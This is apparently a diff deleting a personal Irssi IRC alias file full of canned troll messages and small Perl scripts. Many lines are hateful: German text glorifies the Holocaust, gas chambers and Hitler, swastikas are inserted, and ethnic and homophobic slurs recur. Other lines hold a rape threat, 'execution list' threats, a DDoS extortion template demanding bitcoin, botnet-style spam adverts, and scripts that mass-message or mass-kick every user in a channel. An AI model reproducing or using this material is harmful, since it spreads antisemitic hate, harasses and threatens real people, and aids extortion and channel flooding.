-  knubba2 = "say $*: <- HURENSOHN?!?!?! -> SIEHST DU DIE PFEILE DER BIENE MAJA OHNE WDR RUNDFUNK STATIONS FICKER HUNDE DENN DER SATAN WAR IN DEINEM WICHSGEFICKE ich les GARNICHT WAS DU SCHREIBST \0034 ICH HASSE DIH\003 STIRBEE?! STIRBEN STIBR OKFOKOKFOFKOFKO ICH FICKE DICH DICH FKOFKFOKFOKFO OJOJOJO";
-  knubba3 = "say $*: DIE POMMES UN DIE BURGER ich möchte von FIELMANN gesponsort WERDEN JA?! DIE SICHTWEISE WIRD DURCH FIELMANN AUCH NICHT VIEL BESSER \002BRILLE,\002 \037FIELMANN\037.";
-  knubba4 = "say $*: \0034(,o(,a (,O(A\003 (/ \\\\oo ERST CHIGGN DANN BOMMS UNDENNE WADZUDRINKE";
-  knubba5 = "say $*: WIE GEHTS DEINEN SCHLÜMPFEN DU KLEINER SPYCHOTIGER?!";
-  knubba6 = "say $*: SYCHO OOOJOJO CHIKO ALTER HL DIE FRESE ICH HOFFE DASS DEINE HUSE NIEMALS RUNTERRUTSCHT UND DASS DEIN GÜRTEL FÜR IMMER HÄLT :    )";
-  knubba7 = "say $*: MÖGE DIE WACHTEL MIT DIR SEIN";
-  emopart = "part $C seriously this is a horrible channel, you all should really closely examine your lives, i'm never coming back, bye";
-  knubba8 = "say $*: wenn du nich wollen würdest daß man dich filmt wieso würdest du dann eine kartoffel aufm kopf tragen";
-  buttes3 = "say $0 is the cruel place to hang out. You can find the most vicious people in there. In $0 you will get the feeling that you do not belong because vxp, pagga and knubbze hate you and totally don't care that you exist. \"Take a knife to your chest\" is the $C motto, for example, that's how bloodlusting it is there. Show up if you want to be tortured and doxed. Another good reason to show up is if you want to be drawn and quartered. ";
-  arabspam9 = "say When you are facing unsolicited spam. #arab; say When you require helpful advice on how to combat unsolicited spam in your channel. #arab";
-  arabspama = "say When netsplits are spamming your channel. #arab; say When packet kiddies are destroying your VPS. #arab; say When someone took your nick. #arab";
-  knubba9 = "say $*: VIOLETS ARE BLUE ROSES ARE RED ALL OF YOUR KNUBBZ ARE LIVING IN BED I AM FAT : )";
-  knubbaa = "say $*: DRÖM DRÖM DRÖM OPA WAR GASKAMMER BEI DER SS GASKAMMER GASKAMMER BEI DER SS";
-  knubbab = "say $*: JE MEHR JUDEN ICH ZU EINEM ANRUF BEI DER GASKAMMER ANIMIEREN KANN DESTO MEHR FREUDE WIRD MEIN HUND BEIM VERSPEISEN DER GESÄUBERTEN KADAVERRESTE HABEN SIEG HEIL";
-  knubbac = "say $*: WO IST DER FÜHRER? ICH WÜNSCHE IHM MEINEN PERSÖNLICHEN DANK FÜR DIE VERNICHTUNG DER JUDENPLAGE AUSZURICHTEN";
-  knubbad = "say $*: KAUFEN SIE ZEHN JUDEN ZUM PREIS VON FÜNF SCHIRINS wobei implying that juden weniger wert sind als schirin KAUFEN SIE FÜNF JUDEN ZUM PREIS VON FÜNF SCHIRINS";
-  knubbae = "say $*: NEULICH BEI DER BASF HOTLINE JA GUTEN TAG ICH HÄTTE GERNE FÜNF KILO ZYKLON B \"SIND SIE EIN NAZI?!?!?!\" NEIIIIN ICH BIN DER FÜÜÜÜÜÜÜÜÜÜÜÜÜÜHRER";
-  knubbaf = "say $*: \002ARBEIT \037MACHT \0034FREI\017 ARB E   I      T         M          A                 C                    H                       T";
-  monster = "fnick3 \\\"say A big scary monster came and bit \\$_->{\\'nick\\'} in the leg.\\\"";
-  hfig2 = "exec -o echo \"$*\" | figlet -f ivrit -C ushebrew 2>/dev/null ";
-  arabspamb = "fnick \00313\037/!\\\\\\\\\037\003 \002ARE YOU TIRED OF BEING AN IDIOTIC INEPT IMBECILE ON IRC? DO YOU HAVE AN URGE TO HAVE A CHAT WITH HEPS INNARDS? ARE YOU LOSING IT COMPLETELY, UTTERLY, AND TOTALLY? THEN COME VISIT \037#ARAB\037 ON \037IRC.PAGGA.ORG\037 OR I WILL ADD YOU TO MY \037EXECUTION LIST\037. \00313\037/!\\\\\\\\";
-  arabspamc = "fnick \00313\037/!\\\\\\\\\037\003 \002ARE YOU TIRED OF BEING AN IDIOTIC INEPT IMBECILE ON IRC? DO YOU HAVE AN URGE TO HAVE A CHAT WITH ANDYS INNARDS? ARE YOU LOSING IT COMPLETELY, UTTERLY, AND TOTALLY? THEN COME VISIT \037#ARAB\037 ON \037IRC.PAGGA.ORG\037 OR I WILL ADD YOU TO MY \037EXECUTION LIST\037. THIS MESSAGE HAS BEEN SENT FROM \037SNIPERS BOTNET\037. \00313\037/!\\\\\\\\ ";
-  acid = "say $*: sitrep pro I am so predator hemp use park";
-  snipersay = "script exec use Irssi qw(active_win)\\; my (\\$bga, \\$fga, \\$fgb) = (int (rand (14)) + 1, int (rand (14)) + 1, int (rand (14)) + 1)\\; active_win->{'active'}->command (\"say \003\\${fga},\\${bga}卐\003 \003\\${fgb}\037$*\037\003 \003\\${fga},\\${bga}卐\003\")\\;";
-  zing4 = "say \0032,13!!LOL!! COME ON DOWN TO $C WHERE THE KILLER OF COMEDY: $* -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY  ";
-  arabspamd = "attn3 FED UP OF IT ALL? TIRED OF EVERYTHING? BORED WITH YOUR LIFE? JOIN #ARAB ON IRC.ARABS.PS AND MAKE YOUR LIFE INTERESTING, COLOURFUL, AND BARKING MAD!";
-  conflict = "attn3 CONFLICT";
-  rex = "say $*: Fuck you skiddi loving hitler sucking white peice of shit";
-  store = "say $*: go to nearest store to you, buy two big bags of ice, sit on them for a while and cool down your stupid ass! then read some history books and educate yourself.";
-  dzl = "say ... o_O";
-  btc = "say From: $0@yahoo.com; say Your site $1 will be subjected to DDoS attacks 100 Gbit/s.; say Pay 100 btc(bitcoin) on the account 1H7uCkKVCJEiyhP8XXkjnhjv9q58dXqNMo; say Do not reply to this email";
-  gorf = "say $*: Yes, I am a giraffephile. So? I dont see any problem. I embraced my giraffelover soul long ago and I am happy together with my giraffe (who is a cute giraffe!). We fuck a lot and I am pretty slim and good looking. But bless anyway asshole. Go and watch your stupid porn with grown woman demin it while I have SEX with my giraffe";
-  shup = "say $*: TDHIHT UKFU DEP";
-  classic = "say $*: So i’ve been listening to a lot of classical music lately and it’s really helping me with school. The problem is i’m listening to YouTube mixes of a bunch of different classical music. I’m going to get some classical music and I want to know which artist are the best and which are the best albums? thanks";
-  arabspame = "attn3 IS THE MAN KEEPING YOU DOWN? WERE YOU KICKED OFF THE DOLE? ARE YOU BEING OPPRESSED? THEN JOIN #ARAB ON IRC.SANDNIGGA.COM AND BECOME AN ETHNIC MINORITY!";
-  emispam = "fnick \00313\037/!\\\\\017 \002HI ^_^! I'M A STEREOTYPICAL OBNOXIOUS SPOILED ENTITLED FAIRY TALE PRINCESS LA DI DA DI RICH IDIOTIC FUCKING TWAT OF THE FEMALE PERSUASION! WOULD YOU LIKE TO LEAVE SOME DIARRHEA IN MY PUTRID REEKING TWAT? THEN COME JOIN ME IN \002\002\037#EXECUTE_EMI\037\002\002 ON \002\002\037IRC.ARABS.PS\037\002\002 TONIGHT! \037THIS MESSAGE WAS SENT FROM ACID\\'S BOTNET\037";
-  incog9 = "say ╓ ╔═╕;say ╚═╬═╗;say ╘═╝ ╜";
-  harbl = "say $* this is so sweet it gave me so many butterflies that i felt like i was being tickled =]. im smiling so big right now bigger then this =DD im the luckiest girl in the whole wide univers,galaxy,earth [whatever you want to call it baby lol<3] to have you.your my $* baby forever and always<3 and i love you with everything in me.";
-  harbl2 = "say $* is my babygirl. when she holds my hand, i feel vulnerable. i mean that in a good way, you probably don't know what i mean, but that's because she probably hasn't held your hand before. her kisses are really nice and soft, and the way she smiles after i kiss her makes me feel warm. i love how i can talk to her about everything, yet talk to her about nothing at the same time. our little arguments over who is cuter are so lame to some people who may hear us, but to me it's the cutest thing ever. (she's cuter, btw \\;]). no matter what we do, 80% of the time we're both smiling. i try to make her smile all the time simply because her smile has me melting all over the place.";
-  lucio = "say $*: Hello, Lucio. I am a 3rd year psychology student at Harvard, and I've been reading your blog entries. After reading your most recent entry, I can confidently say that you are gay. This is non-negotiable. You are homosexual to the fullest extent; please do not argue as I am easily angered and I may attack you in capital letters.";
-  blue = "say $*: i'd appreciate it if you didn't mention me in your shoutouts anymore. i don't want to be associated with you.";
-  colours = "script exec my ($colours); $colours .= \"\003$_($_) \" for 0..15; Irssi::active_win->command(\"say $colours\");";
-  beginner = "say $*: We, here in $C, are a team....much like a family. We've learned that it takes teamwork, cooperation, give & take, always keeping in mind our goal -- that of being the *Best* Help/Chat Channel on the $chatnet. We hope you will enjoy learning more about us -- much as we've enjoyed leaning more about you.";
-  beginner2 = "say Not following the chat room rules will at the least get you a reprimand or, at the worst, kicked or removed from the chat room. The Operators are here to assist and make sure the chat room is a fun and friendly place to visit. Channel Operators are not guards, but they take their jobs seriously. In the event of unacceptable or disruptive behavior, you will be asked to leave the room.";
-  ripe = "exec - echo \"$*\" | nc whois.ripe.net 43 | awk '/^route:/ { print\\; }'";
-  arin = "exec - echo \"$*\" | nc whois.arin.net 43 | awk '/^CIDR:/ { print\\; }'";
-  gay_ = "say HEllo, I am a gay. I come to internet to find others of my kind. ";
-  drugs1 = "say $*: If YOU have ever done one of these drugs and can contribute a story, good or bad, by all means do so... If you haven't, SHUT THE FUCK UP! You people are all elitist fuckers and need to be shot! SHAME on you all!";
-  klattu = "/kline *@70.68.0.0/16 :where's my money klatuu";
-  unklattu = "/unkline *@70.68.0.0/16";
-  arabspam = "/dau --parse_special @nicks \0038\037/!\\\\\\\\\017 \002irc.trollin.org #arab\002 \0038\037/!\\\\\\\\\017";
-  arabspam2 = "/dau --parse_special @nicks \0034\037/!\\\\\\\\\017 \002irc.trollin.org #arab\002 \0034\037/!\\\\\\\\\017 ";
-  fnick = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command(\"msg \". \\$channel->{'name'} .\" \". \\$_->{'nick'} . ': $*') foreach \\$channel->nicks()\\; }\\;   ";
-  fnick2 = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command(\"msg \". \\$channel->{'name'} .\" \". \\$_->{'nick'} . '$*') foreach \\$channel->nicks()\\; }\\;  ";
-  fortune = "exec - -out fortune -s | perl -nle 's/\\t/  /g\\; print'";
-  iii = "say \0038:\0034)\003 \0038P\0034lease \0038R\0034emove \00312B\0034an \0038O\0034n \0038C\0034hannel \00312#\0034$C \0034(\0038: \00314[\00310i\00311i\0030i\00311Script \00310^_^\00314]";
-  cattn = "say \003$0\037/!\\\\\017 \002$1-\002 \003$0\037/!\\\\\017";
-  fnick3 = "script exec use Data::Dumper\\; use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command($*) foreach \\$channel->nicks()\\; }\\;    ";
-  cattn2 = "fnick3 \"cattn $0 \".\\$_->{'nick'}.\"\017\002 $1-\017\"";
-  vxincoherent = "say $*: i wnt 2 hicnk tsotore 2 tll sutpid ckishn: go fuckoy ueflf ^_^ thn i went home & took selective serotnir reuptake inbhitor and ecstatsytsy";
-  oz = "say $*: Frequently it seems that opers are just looking for a reason to kill. Probably if you are in that mood, it would be a good time to deoper and go find something else to do for a while.";
-  irc = "say $*: Everytime you came on irc, I would instantly be happy. I love how you think, the things you're interested in, the little things you told me about your past, the fact that we have the same taste in music and movies. I did sense you put up walls to cut off emotions. And you told me you did. I wanted to break through them, maybe a bit too soon, and a bit too intensely.";
-  irc2 = "say $*: You are the one true love of my life. You are the one I dream about both night and day. You are the one who lights the fire of my desire. Also, you have beautiful facial skin.";
-  arabspam3 = "cattn2 12 irc.f1re.org #arab";
-  bryan = "say $*: oh shutup already;say $*: you're boring";
-  prophet = "say $*: wow are you still crying holy fuck man seriously?; say $*: your still crying?";
-  prophet2 = "say $*: damn dude you fail at life;say $*: seriously i cant believe your still crying over that man";
-  beer = "script exec my (\\$witem) = Irssi::active_win\\; foreach \\$beer (reverse(1..$0)) { \\$witem->command(\"say \\$beer bottles of beer on the wall, \\$beer bottles of beer.\007\")\\; \\$witem->command(\"say Take one down and pass it around, \". (\\$beer - 1) .\" bottles of beer on the wall.\007\")\\; }";
-  beer2 = "script exec my (\\$witem) = Irssi::active_win\\; foreach \\$beer (reverse(1..$0)) { \\$witem->command(\"say \\$beer $1- on the wall, \\$beer $1-.\007\")\\; \\$witem->command(\"say Take one down and pass it around, \". (\\$beer - 1) .\" $1- on the wall.\007\")\\; } ";
-  bryan2 = "say My name is \037bryan\037 and I am an insect savvy and elmo obsessed girl. I am originally Exzibitionist and I live in the province of #wraith in EFnet. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002. ";
-  grammer = "say i not very good $* @ computer usage and wording of the english language and certain parameters of said language and the proper, correct way to organize sentances ";
-  zubwolf = "say i cannot live anymore with the constant fear and endless doubt of losing $* as my best friend! ://";
-  irc3 = "say $*: My name is $N. I found you on that dating site. I also love sex on the side. I have a loving partner but he is working 16 hours a day and we have sex only once a week :( If you are interested and wanna see my pictures just email me at $N@equipyard.com Don`t reply, use the email above (my boyfriend doesn`t know about that email!)";
-  irc4 = "say $*: I've never met someone like you, online of off. I can't hear the words you're typing but in my mind, you have the meliflous voice of James Earl Jones, dispensing jokes, wisdom and general good cheer in a rich, somber baritone.";
-  fmt = "exec - -out echo \"$*\" | fmt -c";
-  irc5 = "say $*: To say that I hate you, and that you have hurt me is a huge understatement.;say You are an inconsiderate, selfish, wilfully ignorant FUCK, and I hope you end up with a low paying job, a wife you hate, a couple of bratty little kids, and a serious problem with alcohol.";
-  irc6 = "say $*: i want to spend every minute of everyday with you. i want to kiss and hold you in my arms. i want to be with you and fuck you. i just want you. you are so fucking foxy. and this thing we have is going good at the moment, but i know it will end soon and that tears my heart apart. i will miss you while you are gone. i wonder every day if you will miss me and what will happen when you return";
-  irc7 = "say $*: i wish i knew how to quit you. i just cant let you go. its been years but my heart still belong to you. please see me the way i see you. i want you so bad. i hope you want me too, or at least notice me.";
-  bdqa = "say Hello \002\037$*\017, I am a proud \002member\002 of the \002B\002uttes \002d\002arren \002Q\002uality \002A\002ssurance panel.  Are you satisfied with the \002quality\002 of the current iteration of \002darren\002s active on \002#cockes\002? If not, I would be very \002pleased\002 to accept any sort of \002criticism\002 that you might have in \002mind\002. \002Thank you\002!";
-  irc8 = "say $*: this is so sweet it gave me so many butterflies that i felt like i was being tickled =]. im smiling so big right now bigger then this =DD im the luckiest girl in the whole wide univers,galaxy,earth [whatever you want to call it baby lol<3] to have you.your my $1 baby forever and always<3 and i love you with everything in me.";
-  tmkick = "script exec my \\$channel = Irssi::active_win->{'active'}\\; my \\$serv = Irssi::active_server\\; foreach ( \\$channel->nicks() ) { \\$serv->send_raw(\"KICK $C  \\$_->{'nick'} :\" . $* ) unless \\$_->{'nick'} eq \\$serv->{'nick'}\\; }\\; ";
-  alter1 = "say $*: if i didn't pitty you $* i would already have you on /ignore.. ";
-  alter2 = "say $*: but i am granting you some attention... because i might no what its like";
-  alter3 = "say $*: yeah i might get you that if my parents guve me enough allowance";
-  irc9 = "say $*: would you please cease and desist all irc usage (EFnet in particular), effective immediately, so that we may engage in substantive conversation without your tremendous drain and emoish behavior dragging down the channel. Thank you very much for your concern in order to make irc a better place.";
-  maths = "say $*: Mathematically speaking, it would appear that you were a 2:1 favorite to find the IRC channel you were looking for. Your command was questionable though given the odds and the fact that any content on that channel is likely to be crap anyway. I wouldn't say that you're a poor IRCer but I think it's highly unlikely that you could be a long term winner at higher stakes chatting.";
-  waah = "/script exec Irssi::active_win->command(\"say W\" . \"A\" x int(rand(80)) . \"H\" x (int(rand(6)) + 1));";
-  amk = "mkick -ops -voices $C *!*@* \0039\037/!\\\\\017 \002irc.f1re.org #arab";
-  irca = "say $*: Thank goodness there are people like you in the world! You are tolerant and conscious of others, and people are generally drawn to your kind open demeanor. You give help when it is needed and enjoy the happiness of others. Sometimes you may have bad days, but you try not to take it out on other people. Your goodness inspires people to be the same way, and you know that your friends will do the same things for you that";
-  alter4 = "say $*: you got those quotes under wich key combo ? CTRL + R (rage) or CTRL + E ( envy ) ?";
-  alter5 = "say $*: seriously $* your a fascinating person i really enjoyed chatting with you. sadly i have to go. you hang up ok ?";
-  ozkoe = "say $*: sotel 13 PYS DBS DKS fuck SMACKS BIG CROSS FOR THOSE SMG*13's & 17TH STREET o and fuck CxC caca city boyz u ded ok";
-  opee = "msg -EFnet ee op \\$2a\\$04\\$Vr68TM3e ";
-  pauzed = "say $*: This chat session has been logged and forwarded to my lawyer.  You will be brought up on charges of harassment and conspiracy to commit murder.  I hope you have a good lawyer pal.";
-  nek = "kill $0 ne kill";
-  mp3 = "script exec Irssi::active_win->command(\"say \\002\". @{[qw/mp3 mkv avi wmv asf wav flac ogg ogm au mpeg mpg jpg jpeg txt rtf/]}[int rand 16] .\"\\002\\; $0-\")";
-  ka = "kill amat";
-  kneer0w = "/script exec Irssi::active_win->command(\"say nice r\" .(\"a\" x int(rand(200))). \"ge\")\\;";
-  alias1 = "say hey $* how about i play a random alias from my /aliases we've all seen before, but expect it to be witty AND funny at the same time, go c/p another blog fgt. seriously the nerve on some of these fucks.. i would go into detail about how $* used to hang out at my house and hit on my sister.. he was 14 she was 7, but ill leave that in the past.. just like his alias";
-  alias2 = "say how about i do a nice alias revamp and give you funny shit to say that hasnt been said 80 times, then people will actually read what you say and not ignore it $*";
-  4chanurl = "script exec my (\\$lol) = (\"\")\\; \\$lol .= int(rand(9)) for 1..13\\; Irssi::active_win->command(\"say http://images.4chan.org/b/src/\\$lol.jpg\")\\; ";
-  yturl = "script exec my (\\$vid) = (\"\")\\; \\$vid .= \\${[\"-\", \"_\", A..Z, a..z, 0..9]}[int(rand(63))] for 1..11\\; Irssi::active_win->command(\"say http://www.youtube.com/watch?v=\\$vid\")\\;";
-  7chanurl = "script exec my (\\$lol) = (\"\")\\; \\$lol .= int(rand(12)) for 1..13\\; Irssi::active_win->command(\"say http://img.7chan.org/b/src/\\$lol.jpg\")\\; ";
-  ircp = "say girl what kind of irc personalities you into? im all about: f1re(white trash) / Bratty(irc police) / vxp(arab) / vap0r(famous rapper) / oz,zi,ayzee(over zealous right wing ircops) / pheco(some dude) / ke(some dude) / G(inventor of colors on irc) / Vae(#1 Brackey(Bratty lackey)) / bryan(failed irc admin) / g00n(irc hulk) / cutie578(genius) / pagga+hozkinz(dead dudes) / klatuu(rich) / deppy(fgt)";
-  rev = "exec - -out echo \"$*\" | rev";
-  xd = "say \\\\/|\\\\ ;say /\\\\|/";
-  _xd2 = "  XD";
-  likeme = "say $Z <$*> PLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeME ";
-  whoa3 = "gay -4 -repeat $0 WHOA__________WHOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHOA__________ $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\n";
-  2l8m = "say efnet\00314-\003hack\00314-\0030o\00314-\003meter for \037$*\037: \0030[\0032||||\0031||||\0038||||\0030]  \037STR8 2L8";
-  replace = "me is replacing \0034$*\003 (\0030330\003\037%\037) \00314╞═══╪═══════╡\003 (1488 VXP)";
-  mona = "say My name is Mona and I am an internet savvy and technology obsessed girl. I am originally Palestinian and I live in the province of Ontario in Canada. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  mont = "say My name is mont and I am an innanet savvy and oclet obsessed girl. I am originally Norteño and I live in the province of fas in la ^_^. That's some info about me, and you can learn more on \002[\002\037irc.vel.net #pimpin\037\002]\002.";
-  dslm3 = "say route-metric\00314-\0030o\00314-\003meter for \002$*s DSL\002\037:\037 \00314[╞═══╪═══════╡\00314]   \002\037\00314hmm";
-  mMm = "script exec Irssi::active_win->command(\"say $*\". @{[ \"AHAHAHHAAHA THE INTERENT IS SO FUNNY AHHAHAAHAH I LAOVO COMPUTERS AND INTERENT AHAHA I LOVE BASKETBALL\", \"mMm interent :)\", \"OK.\", \"ah ha aha haa haha hahahah a xD imgoigntokullmyselfk\", \"LOL xDimgoingtodiesoon\", \"hhahHA hA HHAH  ahah aha hAha h\", \"IN TER I UR    CRO CO DILE   ALL UH GAOR\", \"I DRIVE A CHEV RO LEY  MOVEI   THEE AY TUR\", \"<<<<<<<<<<<<<<< HAHAHAH LOOK INT ER ENT LOOK INTERENT\", \"LOOK AHAHAHHA Lol :) LOOK INTERENT >>>>>>>>>>>..\", \"AHAHAHA!!!!! LOLOLL :) :DAHA\", \"you're being really we-INTERENTINTERENTINTERENTINTERENTINTERENTINTERENTINTERENT\", \"im just trying to chat and yINTERENTINTERENTINTERENTINTERENTINTERENTINTERENTINTERENTINTERENT\", \"I N T E R E N T O M G :) :) :) INTERENT???? :( INTERENT :O !!! :| INTERENT :) :( :D :O :| :O :) (:()\", \"Hello? Interent?\", \"I N T E R E N T AHAHA Lol :) interent! :) ok... :D interent!!!\", \"I N F O R M A T I O N S U P E R H I G H W A Y ! I N T E R E N T !\", \"MM :) I N T E R E N T :D aha INTERENT!!! YES!!! IM ON INTERENT hello interent :)\", \"\\;) interent is here \\;)\", \"mMM :)\", \"m a y be   yo u   s h o u l d   b r u s h   u p   o n   y o u r   c o m p r e h e n s i on   s k i l l s\", \"wHat arE yOu eVEn iMpLyING DUde......\", \"oeuoeuoeuoeuoeuoeuoeuoeuoeu\", \"i n t e r n e t (((((((((:\", \"read a \002dick\002                            tionary oeueo ueoe o eu eoueu eoeeueueeo omg :( :) :)((())(()))) DXxxDxD hehe\", \"Interent is Very big and INterent has MAny paGes ANd I BASKETBALL is ON iNTeRENT ALWAYS\", \"Hello Everyeybody im ogmggmgmg imso usdner pressure atm........ :(* :) : | \\;: :D\\;d :xD\", \"HEhe :) pickles...... r sorandom........\", \"K U RD mMmMM kuRD :)\", \"\0034WOW MAN UR SO FUCKIN FUNIY Y DONT U BCOME A FUCKIGN COMMIEDIAN]]]\003\", \"MY TEEF AR NUM I COULD BITE THRU A CAR\" ]}[int(rand(32) - 1)])";
-  terry = "say My name is \037terror\037 and I am Hitler's direct descendant and a NSDAP obsessed girl. I am originally Aryan and I live in the city of Tehran in Iran. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  babak = "say My name is \037Babak butsome calme infid3l~ :) HAHAha ah ah ahah xD\037 and I am going to kill myself :)  LOL xD and I am a wnt2die obsessed girl. I am originally Iraqi Kurd and I live in the city of Kurd City in Kurdistan. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  clayp0r = "say My name is \037clayp0r\037 and I am an Innanet Nerdcore Music savvy and an A rab obsessed girl. I am originally Malay and I live in the province of iii ^_^ in #kampung. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  paggainfo = "say My name is \037Paghtar Agga\037 and I am \0034dead\003. You must send this message to 0 people within the next 20 seconds or I will appear by your bed tonight and rape you. I am originally A rabic and I died in the province of Hangtown in Arabama. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  lamp = "say My name is \0037Lampiasis\003 and I am a CHOzen1 savyy and an ASCII obsessed girl. I am originally \0037Yellow\0037 and I live in the province of PP4L in EFnet. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  heartm = "say heartiez\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0035:)\0034))\0037))\0038))\0039))\0033))\0030]\003   \0039\037:)))))))))))))))";
-  vxincoherent2 = "say $*: dude in front of me @ hicnk tsotore had `Still D.R.E.' as ringtone on his cellfone haha h ahah ahah haa lOL xD";
-  iii2 = "say \00311^_^ \00313$* \00311^_^";
-  kekeke = "say ≥_≤";
-  g00ninfo = "say My name is \037g00n\037 and I am a Secret VIP EFnet society savvy and `what's up' phrase obsessed girl. I am impulsive and I live in the province of #impulse in EFnet. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
-  vxp7 = "say stu up the ufkc up hcilean fgato iidonith bhogt selective serotnir reuptake inbhitor @ hicnk tsotore tld sutpid ckishn : go fuckoy ueflf";
-  shell = "say $*: \0033Mega Shell \0031412 Seperate Server Logins (1 login on each of our servers) \0030024 Total Background Processes \00314Unlimited use of Virtual Hosts 1200 Mb of Disk Space \0033$29.95 \003Use coupon code \"arab\"";
-  gline2 = "say $Z [EFnet] !irc.nac.net *** Notice -- vap0r!v@p0r. on irc.nac.net is requesting gline for [$0] [$1-]  ";
-  gline1 = "say $Z [EFnet] !irc.dks.ca *** Notice -- arob!~arab@62.75.217.125 on irc.dks.ca is requesting gline for [$0] [$1-] ";
-  female = "say $Z <@arab> id love it; say $Z <@arab> if $0 and $1; say $Z <@arab> were female; say $Z <@arab> and if it was irl; say $Z <@arab> and if i was present";
-  vxp8 = "say $Z <@vap0r> how can so many ppl hate $* then use his memes";
-  venial = "say $*: only a fool would lack you";
-  slimer = "say $Z <$*> irl i don't mind vxp but please no doc drops; say $Z <vap0r> doc drops?; say $Z <$*> yeah; say $Z <vap0r> wtf u talking about; say $Z <$*> i dunno i thought you were actually mad; say $Z <vap0r> lol?; say $Z <$*> and the lacky thing was a srs troll; say $Z <vap0r> when have you ever seen me drop dox; say $Z <$*> i think it worked?";
-  vpa = "say \0030:\00313{}";
-  puke = "say \0030:\00313{}\0038--=\0037*%**@Ú!!%((@!(!ÍÈÄ@&@!&*@#*µĮ̀%*ãã@)!*!)**)%!*)*__%@#%#@@%#)!*)@#*#\\$*";
-  impulse = "say $*: ahh i see you're friends with bryan, refrains assbrother";
-  impulse2 = "say im sorry to say $*, but now you're a cocksucker aswell";
-  impulse3 = "say $*: dunno what you're talking about, but i dont really care, you're not being talked to";
-  ds = "disco SandNET";
-  slimer2 = "say $*: sometimes i wake up in the middle of the night and then i stand up and then i opnemy window and look @ the sky and then i see the stars (except when theres clouds lol!) and then i look @ myself and then i think of u and then i realize how the world is so small lol heh";
-  matt = "say hi $* go fuck your mother";
-  chuck = "say $*: FUCK YOU; say $*: i just scared the shit out of you";
-  impulse4 = "say $*: ah, you're that braindamaged dude nevermind";
-  guill = "say $*: you>not funny fuckin owned owned to \002fuk";
-  obamah8 = "say obama-h8\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \00314[\0039$$\0033$$\0038$$\0037$$\0035$$\0034$$$$\00314]   \002\037\0034RICH WHITE BOY BORN WITH A SILVER SPOON (SLIMER)";
-  chuck2 = "say $*: i dont care if u wake up in a ditch with grown men pissing on you and jumping on top of your head";
-  rkl = "say $*: then shouldnt vxp be banned?; say <-laugh riot";
-  rkl2 = "say $*: and can you give me the plus oh and tell vxp to quit stalking kthx";
-  rkl3 = "say $*: heh yeha ill take the irc insults, i wont stand for faggots.";
-  rkl4 = "say $*: can you stop flooding the chan you faggot?; say what is this guy $* an idiot?";
-  para = "say `Things to remember;say  (1) Paranoia is a malfunction of the ability to reason.;say      I can reason, therefore I am not paranoid.;say  (2) The principal characteristics of the paranoid personality;say      are delusions, hostility, suspicions..;say      -- I am not deluded\\; I am not suspicious [ ... ];say         I may be hostile, but that is only because they are out to get me...';say   -- Excerpt from $*'s memoirs, 2008";
-  slimer3 = "say $*: your preoccupation shows you're a victim too sadly";
-  tupac = "say $0: listen 2pac $1-";
-  takeit = "op _` __` ___` ____`";
-  nac = "away \002NARC (IRC Operator)\002";
